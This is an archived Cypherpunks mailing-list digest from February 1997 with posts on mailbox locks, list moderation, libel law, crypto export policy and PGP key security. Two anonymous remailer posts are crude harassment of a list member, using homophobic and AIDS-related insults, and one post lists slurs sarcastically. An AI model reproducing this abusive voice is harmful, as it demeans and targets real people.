From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lesher <wb8foz@nrk.com>
Date: Sat, 1 Feb 1997 17:35:19 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020012.QAA01104@toad.com>
Message-ID: <199702020134.UAA08012@nrk.com>
MIME-Version: 1.0
Content-Type: text


Robert Rothenburg 'Walking-Owl' sez:
> 
> 
> > Mail Storage Box keys?
> 
> I think they use combination locks, actually. Supposedly it's the same
> combination nationally too.
> 
> There was an article in 2600 Magazine about that. The locks are 
> actually 'insecure' and you can test every possible combo in about
> 10-20 minutes.

I think you are confusing USPS and FedEx.

USPS uses key locks seemingly designed by Ben Franklin himself.
Look at them someday. FedEx boxes used to have Simplex 926 
5 pushbutton ""locks"" if you stretch the point.

I'm guessing what they lost was a reloader for postage meters.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 20:36:44 -0800 (PST)
To: hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020435.UAA27638@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:02 PM 2/1/97 -0800, Toto wrote:
>Phillip M Hallam-Baker wrote:
>> The problem is that you are a crushing bore. You peddle your crackpot
>> scheme long after it has been made plain nobody is interested.
>
>  I also thing that the other list members involved in this thread are
>'nobodies', but I was too polite to say anything.

It's odd that you would say this.  I get that impression ("nobodies") about 
practically EVERY subject discussed here.  Why name this particular one, as 
if it were somehow special?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott <scott-b@ix.netcom.com>
Date: Sat, 1 Feb 1997 20:44:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keystroke sniffer question
Message-ID: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


How can you detect if there is a keystroke sniffer on your computer.

Is there a file name to look for?

Where do people get them?
=======================================
Scott Bellavance 
scott-b@ix.netcom.com
http://www.netcom.com/~scott-b/homepage.html
=======================================

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U
UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE
IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR
tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+
=Hfbk
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 1 Feb 1997 18:58:43 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu>
Message-ID: <199702020255.UAA16001@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Phillip M Hallam-Baker wrote:
> 
> > I'm still waiting for you to explain what you believe to be the "problem"
> 
> > for which we are searching a solution.  
> 
> The problem is that you are a crushing bore. You peddle your crackpot
> scheme long after it has been made plain nobody is interested.

I am interested.

Who else is?

> Yet another reason to believe you are an FBI agent provocateur.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 21:42:00 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <Pine.GSO.3.95.970202000753.8579C-100000@cp.pathfinder.com>
Message-ID: <32F428CD.AB9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> That question is one for Tim to answer, but I should point out that
> philosophical anarchists are not necessarily opposed to rules, just
> government rules -- which this moderation policy clearly is not.

I've seen this kind of statement so many times I just have to point it
out:  "which this moderation policy *clearly* (emph. mine) is not".

Why is it so clear to you, but not everyone?  Am I missing something?
Didn't Reagan, Bush, North et al make it clear enough to Americans
that much of what the govt. does has been privatized, as if we didn't
know already from the 1970's assassination hearings in the Congress,
or from when Carter fired the 900 security guys and they went to work
for "private" contractors?

I ask you again to look at the motives of the people involved.  John
Gilmore isn't about to waste a second of his personal time "moderating"
this list (who could blame him?), and I can't for the life of me see
a reason why Sandy would want to devote so much time to it.  Have you
or anyone seen a real reason why Sandy would want to do this?  Is he
so devoted to crypto and personal freedom that he'll do *anything* to
eliminate the postings which "threaten" this list, or could there be
some other, hidden motivation?  My long experience in the real world
says that professional people do *not* devote a great deal of their
time to things like this unless there is an *awfully* good reason.

> On Sat, 1 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > 3.5.1 Contrary to what people sometimes claim, there is no ruling
> > >        clique of Cypherpunks. Anybody is free to do nearly anything,
> > >        just not free to commit others to course of action, or claim
> > >        to speak for the "Cypherpunks" as a group (and this last
> > >        point is unenforceable except through reputation and social
> > >        repercussions).
> > > 3.6.3 "Why isn't the list moderated?"
> > >       ...hardly consistent with many of our anarchist leanings, is it?
> > >       - "No, please, let's not become a 'moderated' newsgroup. This
> > >       would be the end of freedom!

> > Is this why T.C. May hasn't posted in quite a while?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 18:50:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA Material at the National Archives
Message-ID: <1.5.4.32.19970202024456.0072d818@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For access to the 5,000 items declassified under NSA's OPENDOOR
program (http://www.nsa.gov:8080/programs/opendoor), we got 
this answer from the National Archives:

Dear Mr. Young:

This is in response to your electronic mail inquiry of December 20, 1996,
concerning National Security Agency records transferred to the National
Archives.

The material described on the NSA web site was transferred to the
National Archives and made available in April 1996.  We can supply you
with electrostatic (paper) copies of select files for $0.25 per page. 
Please let us know which files you would like copied, and we will send
you a reproduction price quote (please include your mailing address with
all such requests).  We ask that you limit each request to five files.

Should you choose to come to Washington to do research, our records
and microfilm publications are available for consultation without charge in
our research room.  The National Archives at College Park (Archives II),
is located at 8601 Adelphi Road, College Park, Maryland.  If you do not
have a research card, you must apply for one in the reception area. 
Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m.,
Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday
and Friday.  Our subject matter specialists are not on duty after 5:15 p.m.
 The research rooms also are open on Saturday from 8:45 a.m. to 4:45
p.m., with a small research room staff present.  Requests for records
must be made before 3:30 p.m. Monday-Friday; no requests can be made
on Saturday.  The telephone number for the Archives II Reference
Branch is 301-713-7250.

Ken Schlessinger
Archives II
Textual Reference Branch
National Archives at College Park
8601 Adelphi Rd
College Park, MD  20740-6001

kenneth.schlessinger@ARCH2.NARA.GOV







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 20:00:16 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com>
Message-ID: <32F42C19.50EA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?

  I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take
your
pick).

  Anarchy is only a pause between dictators. Fascism is necessary to
remind
us not to take freedom for granted.
  One should call for 'order' during the rein of anarchy and for
'freedom 
during times of Fascism.

  I have 'appeared' and/or 'come out of lurking' on the CypherPunks list
at various times since it's inception, under various personas. Few have
noticed, and fewer, still, have ever accurately described, as you have,
what I truly value about the CypherPunks--"a unique group of stray
cats."
  The CypherPunks have, over the years, weathered varying sorts of 
'problems' in the development of the list, as a result of various
'voices
of Reason' prevailing in the setting the list's direction--even when
those 'voices' were diametrically opposed in their beliefs.
  What currently threatens the list, in my opinion, is not the
dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in 
general, whom 'I' perceive as being on the 'other side' of an issue).

  If the day comes when I am able to file away the CypherPunks list
under this-or-that category, then I will put a tombstone in the file, as
well, and put flowers in it once a year.

Toto
> Side note:
> Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.
> 
>     ..
> Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 22:00:20 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC108B.EE831D80@king1-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Greg Broiles

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)
..................................................................


Heh -  Jim B. and Jim C.:  the Yin & Yang of Society At Large.
What could a discussion between them produce.

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 1 Feb 1997 20:16:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702020418.WAA01210@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Nobody has a problem with your ideals, it's just that Jim Bell is
> trying to say (correct me and forgive me if I'm wrong) that:
> 
> 1. Society will never subscribe to your ideals.

But other than two points they already do. The two points being,

1. Libel is a recognized legal concept now, the difference is one of degree.
   That degree of difference being how much money there is available for
   the lawyer and their willingness to enforce the concepts of justice in
   the society based upon their perceived ability to profit by it.

2. The extension of acceptance of reasonable legal representation by lot
   from not only the defence but also the prosecution.

My solutions to these two issues are:

1.  Removal of the lawyer from the ultimate choice of whether the case
    should be pursued.

2.  The minimalization of the defendants and plaintiffs monetary resources
    by removing them from the legal system by choosing the legal
    representation of both parties by lot.

3.  By moving the responsibility of police to provide evidence from the
    prosecution to the court we equalize the impact of irregularities
    in evidence selection as well as minimizing the sorts of evidence
    disputes which so impact some trials (ie OJ Simpson).

4.  By the implimentation of a bond proviso on the part of the plaintiff
    the system provides a check and balance reducing nuisance cases as
    well as reducing the taxation load on the citizenry.
 
> 2. Society is not static, i.e., instead of remaining at a constant
>    level of corruption, the officials will keep demanding more,
>    until there's a sudden, catastrophic break.

Absolutely, that is one of the reasons I refuse to seperate those who
represent the social contract (eg the Constitution) and those who are
impacted by it, which includes even those who represent it and enforce its
various responsibilities. AP relies on this distinction as axiomatic. This
axiomatic view is ultimately based in a jealous greed for what others have
(ie power, percieved or real) and the implicit belief that all people are
NOT created equal.

> 3. The AP solution has the potential to stabilize the level of
>    corruption, which should make violent revolutions and genocide
>    unnecessary.

But it doesn't. What it does is provide a mechanism for de-stabalization.
Just look at the Middle East and the history of assassination.
Assassinations have never stabalized that region or any other. There is
nothging in our current understanding of human psychology and social
interactions that leads to the conclusion that threats of violence will
necessarily force people to comply. If it did the government (as perceived
by AP) would not have to deal with real opposition. Simply threaten the
opposition and it melts away for the same reason that supposedly the
government would cease to oppose radicalism (ie changes in the status quo
forced by small groups upon the masses). If anything every real world
example of AP demonstrates an increase in corruption (eg. Beirut).

The closest analog in history to AP is the "Flowery Wars" as practiced by
the Aztecs. However, these were motivated by a belief in religous homogeneity
and not one of politics. Also, implicit in this was the axiomatic acceptance
of a real class seperation between those who ruled and those who were ruled.
By no means could one accept the premise that this caused the Aztec rulers
to be more sensitive to corruption or the continued existance of their
system. Another good example is assassination in ancient Rome, it is clear
that such activities in no way reduced corruption.

If anything AP provides a rationale (ie self-defence) to impose even harsher
a priori conditions on sections of a society by another part of that society.
Hardly what I would consider a stabalizing condition let alone democratic.
What is required for stability is for each group to feel unthreatened and
secure in expressing their beliefs without fear of reprisals and at the same
time recognizing they must provide room for others beliefs. There must also
be the realization that refusal to abide by these precepts will be met with
immediate consequences. Something AP can't do, as it explicitly promotes
threats and the carrying out thereof.

On another issue, it was asked what purpose there is in suing a poor person.
Simple lack of monetary wealth should be no more reason to exempt a party
from justice than having large quantities. A citizen should face the
consequences of their actions, how rich or poor they are is an irrelevant
issue.

Concepts required for a true working democracy:

Liberty
Justice
Equality
Fraternity


                                                         Jim Choate
                                                         CyberTects
                                                         ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 20:34:10 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Libel, Times v. Sullivan
In-Reply-To: <199702020313.TAA20622@mail.pacifier.com>
Message-ID: <32F431BA.DBF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> Your last paragraph looks like an exercise of the silly game the TV show "60
> minutes" producers often play when they read the letters from the audience
> about a previous report on a controversial subject.  They first read a
> letter from an outraged viewer who claims that the TV show's producers must
> have been biased in one direction, and then they read another letter from a
> different viewer who alleges they showed a bias in the opposite direction.
> The show is trying to leave you with the impression that they MUST have been
> unbiased, because they are being accused of diametrically opposite leanings.

  Sounds suspiciously like Sandy's approach to 'fair' moderation, to me.
 
> All they are really showing is that given the hundreds and probably
> thousands of letters they receive on each show weekly (which are, by
> definition, written by self-motivated people) they can get at least one on
> each end of the spectrum for whatever subject they've just covered.

  Perhaps they author these 'letters' themselves:
  "I agree wholeheartedly with the position espoused by '60 Minutes'.
and,
  "I don't not think maybe dat dese guys are write, nohow."

> A clue is present in the likely fact that the origins of defamation laws
> were primarily to keep the king and the upper-crust free of printed and
> verbal attack directed by the lower-classes, even given the presence of
> whatever nominal "free-speech" guarantees were present.

  Next thing you know, saying, "The king is fucking the queen.", is
libel
and defamation. Go figure...

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 23:50:25 -0800 (PST)
To: Raph Levien <raph@cs.berkeley.edu>
Subject: Re: How I Would Ban Strong Crypto in the U.S.
In-Reply-To: <ae0efb9f020210046227@[205.199.118.202]>
Message-ID: <3.0.1.32.19970201223051.00685d20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:58 AM 7/15/96 -0400, about six months ago, when Clipper III was new,
Raph Levien wrote:
>1. The battle over whether applications can contain strong encryption 
>algorithms has basically been lost. For example, SSL-enabled 
>applications are widely available over the world, thanks in large part 
>to the work of Eric Young. The same will happen for any other encryption 
>protocol that catches on.

Unfortunately, the Government hasn't given up on this one;
Peter Gutman's recent articles on export policy in New Zealand and
Australia suggest that Our Public Servants are trying an end-run
by getting those countries to stop export and development by productive 
crypto authors, targeting the toolkits that are being widely used
inside and outside the US.

>2. The battle for key management has not yet been fought. 

Yeah.  I haven't heard much from Clipper III recently,
since they've been trumpeting Clipper IV "Key Recovery" recently,
but that doesn't mean it's not going on.  Unlike politican efforts
such as Key Recovery, infrastructure attacks such as PKI
may require long-term technical development - the Cooperative
Research and Development Alliances (CRADAs) are not just to
bribe otherwise-valuable companies to stay out of the way,
they're to do things that may be sprung on us later;
I'd predict this coming summer.  For instance, back in July,
John Young quoted a Business Wire article about
 =  Toronto -- Certicom Corp. a leading information security 
 =  company, today announced that it will participate in an 
 =  initiative by the U.S. Commerce Department's National 
 =  Institute of Standards and Technology (NIST) which will 
 =  lead to the development of the elements of a public key 
 =  infrastructure (PKI).  
Certicom are the folks who do Elliptic Curve Cryptosystems,
which haven't been used much due to patent questions and 
RSA's dominance, but which allow much shorter public keys
and may have some speed advantages, both of which are
quite important for smartcard use.

>3. Anybody can write an application that supports strong encryption 
>algorithms. Witness SSH, a very impressive and useful program, which was 
>basically done by one person, Tatu Ylonen. However, building a key 
>management infrastructure will take lots of money, hard work, and 
>cooperation.
....
>4. Thus, the best leverage for the TLAs to win is to guide the 
>development of a key management infrastructure with the following 
>property: if you don't register your key, you can't play. I believe that 
>this is the true meaning of the word "voluntary:" you're free to make 
>the choice not to participate.
..
>6. Export is a two player game. The other country has to allow import of 
>the stuff, too. If the Burns bill passes, the "administration" would 
>strong-arm other countries to prohibit import of strong crypto, still 
>leaving US developers with no market.

It failed, and they've now got an Ambassador strong-arming other countries
to prohibit export.

>7. Building this stuff is too much of a task for the TLAs. They tried it 
>with Clipper, and it failed. They hoped that building the Tessera card 
>would be enough - that once they threw it over the wall, it would be 
>eagerly snapped up by industry.

>8. Thus, they're going to cajole, bribe, and coerce software companies 
>to play along. This fact is quite nakedly exposed in the document (good 
>thing the injunction against the CDA is still in force :-).

Yeah.  Clipper IV is getting a lot of people jumping on the bandwagon
to get export permission for their 56-bit software.  Many of the people
who are most vocal about it are the usual suspects anyway, but it's
closer to commercial usability that industry's more cooperative this round,
especially with more Internet money fever.

>> Don't be fooled.
>Who? Us cypherpunks?
>Raph
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 22:30:00 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC108F.F7C3BFE0@king1-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  What currently threatens the list, in my opinion, is not the dissension,
but the rise of a cliquish sheep-mentality and the resulting dismissal
of the opinions of people of Reason (and the opinions of 'anyone', in
general, whom 'I' perceive as being on the 'other side' of an issue).
........................................................................

Who are these sheep you're talking about?   At the end of the trial period, 
anyone still on the list who doesn't like the moderation can at their 
leisure either protest vehemently its continuation, producing masterly 
works of eloquence in favor of continuing the free-for-all, or they can 
unsubscribe (sp?).    They *don't* have to take it, or identify with the 
cpunks any longer.

I think what threatens the list is the absence of really major issues to 
fire up everyone's sense of indignation & imagination, plus the fact that 
many of the long-timers are pretty sophisticated on all the political 
issues which have been discussed before (how many of Tim May's long 
treatises, engaging, thorough, and relevant as they may be, can one read 
yet again without recognizing the repetitive themes therein), plus a lack 
of interest in engaging in rhetorical arguments with people who find it 
difficult to think in a straight line.   Sometimes the posts on the list 
come to resemble more attempts at educating the clueless than discussions 
among peers which could truly advance an understanding of between fine 
points of difference.

Whom can one blame for what does not exist (on the list) -  there is no 
mechanism for its production; only the attractions of the subject and the 
aim, are what bring in the participants who could provide substance and 
depth.

Perhaps waxing lyrical on the features of Eudora and regular reminders on 
the benefits of mail filtering would be encouraging to "the timid"?

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 22:47:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020229.SAA04750@toad.com>
Message-ID: <199702020647.WAA00216@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher <wb8foz@nrk.com> writes:

> USPS uses key locks seemingly designed by Ben Franklin himself.
> Look at them someday. FedEx boxes used to have Simplex 926 
> 5 pushbutton ""locks"" if you stretch the point.

Don't let the old-fashioned look deceive you.  Most mail storage boxes
use lever tumbler locks (similar to what's used in safe deposit
vaults, though obviously the mailbox locks have a flimsier plug).
Lever tumbler locks are in general much harder to pick than pin
tumbler locks (the kind on most doors).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 22:50:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Media seekers, reputation and banishment
Message-ID: <199702020650.WAA00961@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit Vibrator K>ock<OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his
homosexual, AIDS infected lovers.

       D\___/\
        (0_o)   Dr.Dimwit Vibrator K>ock<OfTheMoment
         (V)
  ---oOo--U--oOo---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 19:51:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199702020156.RAA13867@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970201224616.410A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, jim bell wrote:

> At 12:52 PM 2/1/97 -0500, Mark M. wrote:
> >On Sat, 1 Feb 1997, Peter J. Capelli wrote:
> >
> >> 	You mean to say, rich people can overcrowd the courts as much as they
> >> like, while others are restricted by contigency-only lawyers ( Call 
> >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> >> control
> >> a poor one with many frivolous lawsuits ... while they can afford to file 
> >> lawsuit after lawsuit, the poor person cannot defend himself.
> >
> >What, exactly, would be the point of suing a poor person?
> 
> To quiet him from political dissent, presumably.  I think the term coined a 
> few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
> Public Policy," or similar.

I should point out that in my previous post, I was refering to the specific
instance of libel -- not any general lawsuit.  I can think of very few
instances where a rich person would sue someone without the resources to even
defend himself for libel just to harass the defendant.  I'm sure there are a
few cases, but it wouldn't be worth the plaintiff's time or money.  I would be
interested if anyone knows of any specific examples of this.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvQQAyzIPc7jvyFpAQFAfQgAp5qsAm9LZdXeR3+8s4LkUv5qH6Ju8Rda
te3EJ90gjHxDcv/QRopQ3fRM5KzsHgr5JqPRWDFF0Zo3CxbRsB8x/CK3aIo2axpt
xEAeA/TT3oBWOCXFs2fVR6dCy4XAMh4e/q58kNnDqqUnJNBgto5kr8Hp4op9Ypgi
WO0G0Su6L8JuBwnui6Ni5XxHSBchBwu6Z0Jv0TFrG43lnS++K+UriX9cIYxR8JVH
roUg/9SDCZysmuEvNh8VMLAd492wD2jhge4LiiYaSNWrpe5JD2jA/nJ9Olevpu3v
4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ==
=qrVu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 23:02:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Cypherpunks Shooting Club
Message-ID: <199702020701.XAA02955@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vomit is so in love with himself, he cries out his own
name when orgasming. Then again, no one else is ever around.

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Dense Vomit
               V






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Feb 1997 21:50:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702012055.MAA26123@toad.com>
Message-ID: <9gDH2D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> >> My computer went into the shop a few days ago, and I was unable to take
> >> my PGP keys off it before it went in.  What are the security risks here?
> >> If the repairman chooses to snoop through the files, what would he be
> >> able to do with my key pair?  Will I need to revoke the key and make a
> >> new one, or will I be relatively safe since he doesn't have my
> >> passphrase?
>
> Passphrases are MD5-hashed into 128-bit IDEA keys and used to
> encrypt the secret key; there's a "pgpcrack" program out there
> that does dictionary-style searches to find if you've got
> wimpy passphrases.  So if your passphrases is "secret", you lose,
> but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
> you're probably pretty safe, unless that's written on the yellow
> sticky you left on the side of the PC.
>
> On the other hand, if the "repairman" replaced your pgp executable
> with version 2.6.3kgb, which uses your hashed passphrase as the
> session key, you're hosed.  Or if he installed a keystroke sniffer,
> or added a small radio transmitter to your keyboard, or whatever.
> Depends on your threat model.  If you need to be paranoid,
> they've already gotten you....

If you're really paranoid, you can boot from a clean floppy and
reinstall everything from your backup tapes. You do have a
contingency plan in case your hard disk goes bad, or gets a
virus, don't you? Well, if you're in doubt, exercise it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 21:17:23 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <32F4401E.3F73@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> 
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

  I have waited, with bated breath, for you to take a position which is 
short, concise, and well-reasoned. Well, you finally did, but you just
couldn't leave it alone, could you?
  I think that what you have written (above) is a valid and meaningful
statement of your position. I see what follows, however, as a train of
'logic' which follows a pre-defined, emotionally-charged justification
of a defensive position you have taken, as a result of a real or 
imagined 'slight'.

  I have followed your 'libel' thread, as rambling (and sometimes 
dichotomously incoherent) as it is, and I recognize that you are
passionate in your beliefs (for which I salute you), but I think
that perhaps your interests might be better served if you let
logic lead your emotions.
  If you did so, I might well hire you as my lawyer (to defend me
in your libel suit against me), since you do have a 'bulldog' 
sense of determination in pursing any position you take.
  The million-and-one posts you made with the results of your
search-engine research on libel only served to accentuate your
inability to fully understand the issues underlying libel and
defamation. Your own opinions regarding your thoughts and 
opinions regarding these same issues were much more poignant
and enlightening.
  I would hope that, in the future, you would justify your 
beliefs and opinions with a revelation of your own points of
logic (or illogic) rather than attempting to support them 
with legalese rulings which often stand on a foundation of
sand, especially under close judicial scrutiny.
  You do, indeed, raise some points that are worthy of valid
consideration, and debate, but they tend to get lost in your
excessive arguments regarding them.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 21:43:40 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020435.UAA27638@mail.pacifier.com>
Message-ID: <32F4447D.2F6C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 08:02 PM 2/1/97 -0800, Toto wrote:
> >  I also think that the other list members involved in this thread are
> >'nobodies', but I was too polite to say anything.
> 
> It's odd that you would say this.  I get that impression ("nobodies") about
> practically EVERY subject discussed here.  Why name this particular one, as
> if it were somehow special?

Jim,
 "You're 'nobody', till 'somebody' loves you..."
 Everybody has their own prediliction as to what interests them, 
and what is 'frivilous' on the list.
 Someone, in private email, mentioned that they felt that 60% of the
posts were 'uninteresting'. I replied that this seemed to be a close
approximation of many list members' beliefs, but that, if we all
moderated/censored out 'our' 60% of 'uninteresting' posts before 
the list was sent out, that there would be precious little left.

  I don't know if you recognized my comment as humor, since I have
an aversion to using 'happy faces' (the result of a childhood trauma),
but I just love to poke fun at the plethora of personas on the list
who seem to believe that anything outside of their immediate scope
of interest is somehow 'unworthy' of being posted the list.

 By the way, in order to prevent this post from going to the 'flames'
list, I will NOT say that you are a low-life, scum-sucking Nazi piece
of shit. I will likewise refrain from suggesting that your mother
wears army boots, you are a child-pornographer, an imbecile, and
a pervert, or that you beat your wife and children regularly.
 By golly, I think I'm 'getting the hang of' this new, improved,
Politically Correct, nicey-nice list format.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 1 Feb 1997 20:59:53 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <v02140b05af19b18d73ac@[10.0.2.15]>
Message-ID: <199702020455.XAA02857@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
| >        What the US government will allow to be exported is not "strong
| >encryption."  It is encryption only slightly too strong to be broken
| >by an amateur effort.  For the right investment in custom hardware, it
